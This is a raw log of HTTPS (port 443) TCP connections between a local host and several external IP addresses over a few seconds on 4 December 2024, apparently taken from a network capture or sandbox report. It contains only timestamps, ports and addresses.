Dec 4, 2024 16:15:37.896090031 CET	49775	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:37.896114111 CET	443	49775	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.896167994 CET	49775	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:37.917704105 CET	443	49775	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.917764902 CET	443	49775	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.917843103 CET	49775	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:37.917855024 CET	443	49775	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.917884111 CET	49775	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:37.917896986 CET	49775	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:37.921868086 CET	443	49775	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.921936035 CET	49775	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:37.922167063 CET	49775	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:37.922244072 CET	443	49775	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.922298908 CET	49775	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:37.927515984 CET	443	49780	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:37.928014994 CET	49780	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:37.928034067 CET	443	49780	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:37.928471088 CET	49780	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:37.928476095 CET	443	49780	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:37.954598904 CET	443	49777	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.954777956 CET	49777	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:37.954797029 CET	443	49777	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.954849958 CET	49777	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:37.988143921 CET	443	49782	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.988404036 CET	49782	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:37.988423109 CET	443	49782	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.988588095 CET	443	49767	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:37.988755941 CET	443	49782	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.988945007 CET	443	49767	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:37.989006996 CET	49767	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:37.989037037 CET	49767	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:37.989048958 CET	443	49767	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:37.989058018 CET	49767	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:37.989063025 CET	443	49767	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:37.989176989 CET	49782	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:37.989253998 CET	443	49782	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.989341974 CET	49782	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:37.991655111 CET	443	49783	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.991843939 CET	49785	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:37.991882086 CET	443	49785	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:37.991883039 CET	49783	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:37.991897106 CET	443	49783	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.991947889 CET	49785	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:37.992122889 CET	49785	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:37.992137909 CET	443	49785	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:37.992234945 CET	443	49783	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.992844105 CET	49783	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:37.992918015 CET	443	49783	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.992945910 CET	49783	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:38.035332918 CET	443	49782	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:38.038239956 CET	49783	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:38.038261890 CET	443	49783	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:38.251974106 CET	443	49779	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:38.252046108 CET	443	49779	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:38.252147913 CET	49779	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:38.252310038 CET	49779	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:38.252334118 CET	443	49779	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:38.252341032 CET	49779	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:38.252346992 CET	443	49779	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:38.255014896 CET	49786	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:38.255060911 CET	443	49786	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:38.255115986 CET	49786	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:38.255276918 CET	49786	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:38.255294085 CET	443	49786	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:38.367412090 CET	443	49780	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:38.367482901 CET	443	49780	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:38.367696047 CET	49780	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:38.367945910 CET	49780	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:38.367966890 CET	443	49780	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:38.367981911 CET	49780	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:38.367988110 CET	443	49780	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:38.371197939 CET	49787	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:38.371254921 CET	443	49787	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:38.371330976 CET	49787	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:38.371475935 CET	49787	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:38.371490955 CET	443	49787	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:38.645009995 CET	443	49781	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:38.645168066 CET	49781	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:38.650504112 CET	49781	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:38.650520086 CET	443	49781	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:38.650759935 CET	443	49781	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:38.652647972 CET	49781	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:38.652729034 CET	49781	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:38.652734041 CET	443	49781	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:38.652880907 CET	49781	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:38.699337006 CET	443	49781	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:38.792970896 CET	443	49784	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:38.793709040 CET	49784	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:38.793737888 CET	443	49784	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:38.794202089 CET	49784	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:38.794210911 CET	443	49784	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:38.807579994 CET	443	49783	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:38.807614088 CET	443	49783	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:38.807678938 CET	49783	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:38.807687998 CET	443	49783	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:38.807713985 CET	443	49783	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:38.807775974 CET	49783	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:38.809590101 CET	49783	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:38.809603930 CET	443	49783	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:38.839726925 CET	443	49782	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:38.839752913 CET	443	49782	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:38.839828014 CET	443	49782	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:38.839829922 CET	49782	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:38.839878082 CET	49782	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:38.843343019 CET	49782	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:38.843367100 CET	443	49782	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:38.874294996 CET	49788	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:38.874365091 CET	443	49788	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:38.874433041 CET	49788	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:38.874974012 CET	49788	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:38.874990940 CET	443	49788	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:38.877027988 CET	49789	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:38.877069950 CET	443	49789	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:38.877126932 CET	49789	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:38.877443075 CET	49789	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:38.877456903 CET	443	49789	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:38.942943096 CET	49790	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:38.942984104 CET	443	49790	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:38.943057060 CET	49790	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:38.943272114 CET	49790	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:38.943288088 CET	443	49790	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:38.943809032 CET	49791	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:38.943846941 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:38.943906069 CET	49791	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:38.944107056 CET	49791	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:38.944119930 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:38.975236893 CET	49792	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:38.975280046 CET	443	49792	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:38.975363970 CET	49792	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:38.978122950 CET	49792	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:38.978141069 CET	443	49792	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:38.986958027 CET	49793	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:38.986999035 CET	443	49793	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:38.987066031 CET	49793	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:38.987719059 CET	49793	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:38.987731934 CET	443	49793	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:39.233074903 CET	443	49784	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:39.233149052 CET	443	49784	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:39.233205080 CET	49784	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:39.259841919 CET	49784	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:39.259862900 CET	443	49784	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:39.259876013 CET	49784	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:39.259881973 CET	443	49784	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:39.265228033 CET	49795	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:39.265285015 CET	443	49795	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:39.265362024 CET	49795	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:39.265739918 CET	49795	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:39.265754938 CET	443	49795	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:39.332963943 CET	443	49781	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:39.333189011 CET	443	49781	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:39.333259106 CET	49781	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:39.333452940 CET	49781	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:39.333472013 CET	443	49781	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:39.710714102 CET	443	49785	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:39.711426020 CET	49785	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:39.711447954 CET	443	49785	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:39.711926937 CET	49785	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:39.711934090 CET	443	49785	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:39.717284918 CET	443	49778	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:39.717715025 CET	49778	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:39.717745066 CET	443	49778	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:39.718127012 CET	49778	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:39.718136072 CET	443	49778	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:39.993644953 CET	443	49786	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:39.994441032 CET	49786	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:39.994478941 CET	443	49786	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:39.995042086 CET	49786	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:39.995048046 CET	443	49786	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:40.097023010 CET	443	49787	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:40.097672939 CET	49787	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:40.097723007 CET	443	49787	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:40.098226070 CET	49787	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:40.098237991 CET	443	49787	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:40.145389080 CET	443	49785	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:40.145463943 CET	443	49785	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:40.145699024 CET	49785	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:40.145806074 CET	49785	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:40.145826101 CET	443	49785	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:40.145838022 CET	49785	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:40.145844936 CET	443	49785	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:40.149468899 CET	49796	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:40.149494886 CET	443	49796	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:40.149565935 CET	49796	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:40.149746895 CET	49796	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:40.149758101 CET	443	49796	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:40.151901007 CET	443	49778	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:40.151971102 CET	443	49778	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:40.152020931 CET	49778	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:40.152095079 CET	49778	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:40.152112007 CET	443	49778	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:40.152124882 CET	49778	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:40.152129889 CET	443	49778	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:40.154355049 CET	49797	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:40.154400110 CET	443	49797	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:40.154464960 CET	49797	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:40.154606104 CET	49797	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:40.154624939 CET	443	49797	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:40.259459972 CET	443	49788	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:40.259848118 CET	49788	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:40.259877920 CET	443	49788	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:40.260226011 CET	443	49788	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:40.260571957 CET	49788	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:40.260642052 CET	443	49788	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:40.260760069 CET	49788	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:40.261410952 CET	443	49789	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:40.261594057 CET	49789	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:40.261626005 CET	443	49789	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:40.262618065 CET	443	49789	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:40.262698889 CET	49789	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:40.263112068 CET	49789	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:40.263190031 CET	443	49789	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:40.263257980 CET	49789	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:40.304979086 CET	49789	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:40.305011988 CET	443	49789	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:40.305100918 CET	49788	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:40.305140972 CET	443	49788	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:40.333831072 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:40.334245920 CET	49791	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:40.334270954 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:40.335263968 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:40.335338116 CET	49791	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:40.335700035 CET	49791	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:40.335758924 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:40.335855007 CET	49791	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:40.335861921 CET	443	49791	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:40.338376045 CET	443	49790	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:40.338557959 CET	49790	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:40.338572979 CET	443	49790	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:40.339622021 CET	443	49790	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:40.339687109 CET	49790	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:40.339962959 CET	49790	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:40.340028048 CET	443	49790	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:40.340071917 CET	49790	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:40.351927996 CET	49789	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:40.375297070 CET	443	49793	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:40.375665903 CET	49793	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:40.375684977 CET	443	49793	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:40.375730038 CET	443	49792	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:40.375933886 CET	49792	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:40.375965118 CET	443	49792	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:40.376701117 CET	443	49793	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:40.376775026 CET	49793	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:40.376981974 CET	443	49792	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:40.377044916 CET	49792	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:40.377063036 CET	49793	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:40.377135992 CET	443	49793	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:40.377348900 CET	49792	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:40.377413034 CET	443	49792	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:40.377471924 CET	49793	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:40.377477884 CET	443	49793	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:40.377552986 CET	49792	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:40.377564907 CET	443	49792	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:40.377612114 CET	49792	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:40.377652884 CET	443	49792	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:40.383088112 CET	49791	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:40.383228064 CET	49790	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:40.383241892 CET	443	49790	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:40.429801941 CET	443	49786	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:40.429864883 CET	443	49786	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:40.429972887 CET	49793	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:40.429997921 CET	49790	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:40.430005074 CET	49786	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:40.430053949 CET	49792	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:40.430402994 CET	49786	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:40.430434942 CET	443	49786	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:40.430448055 CET	49786	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:40.430455923 CET	443	49786	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:40.433968067 CET	49798	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:40.433998108 CET	443	49798	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:40.434091091 CET	49798	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:40.434272051 CET	49798	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:40.434281111 CET	443	49798	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:40.531383991 CET	443	49787	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:40.531476021 CET	443	49787	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:40.531761885 CET	49787	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:40.531805038 CET	49787	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:40.531829119 CET	443	49787	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:40.531843901 CET	49787	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:40.531851053 CET	443	49787	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:40.535351992 CET	49799	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:40.535393953 CET	443	49799	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:40.535491943 CET	49799	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:40.535677910 CET	49799	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:40.535695076 CET	443	49799	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:40.985986948 CET	443	49795	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:40.986991882 CET	49795	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:40.987020969 CET	443	49795	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:40.987540960 CET	49795	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:40.987545967 CET	443	49795	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:41.112634897 CET	443	49789	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.112657070 CET	443	49789	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.112766981 CET	49789	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:41.112770081 CET	443	49789	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.112818956 CET	49789	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:41.113953114 CET	49789	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:41.113974094 CET	443	49789	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.115694046 CET	443	49788	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.115716934 CET	443	49788	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.115771055 CET	443	49788	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.115788937 CET	49788	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:41.115817070 CET	49788	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:41.118494034 CET	49788	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:41.118511915 CET	443	49788	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.121169090 CET	49800	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:41.121225119 CET	443	49800	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.121305943 CET	49800	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:41.121551991 CET	49800	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:41.121567011 CET	443	49800	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.187532902 CET	443	49790	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.191625118 CET	443	49790	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.191708088 CET	49790	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:41.191997051 CET	49790	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:41.192022085 CET	443	49790	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.195447922 CET	49801	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:41.195483923 CET	443	49801	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.195610046 CET	49801	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:41.195869923 CET	49801	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:41.195885897 CET	443	49801	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.215042114 CET	49802	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:41.215097904 CET	443	49802	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:41.215197086 CET	49802	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:41.215894938 CET	49802	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:41.215909958 CET	443	49802	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:41.308725119 CET	443	49793	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.322710037 CET	443	49793	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.322803020 CET	49793	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:41.330683947 CET	49793	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:41.330704927 CET	443	49793	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.350240946 CET	49803	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:41.350280046 CET	443	49803	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.350372076 CET	49803	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:41.350605965 CET	49803	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:41.350625038 CET	443	49803	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.419589996 CET	443	49792	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.419732094 CET	443	49792	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.419785976 CET	49792	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:41.420551062 CET	49792	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:41.420573950 CET	443	49792	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:41.421780109 CET	443	49795	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:41.421864986 CET	443	49795	13.107.246.43	192.168.2.6
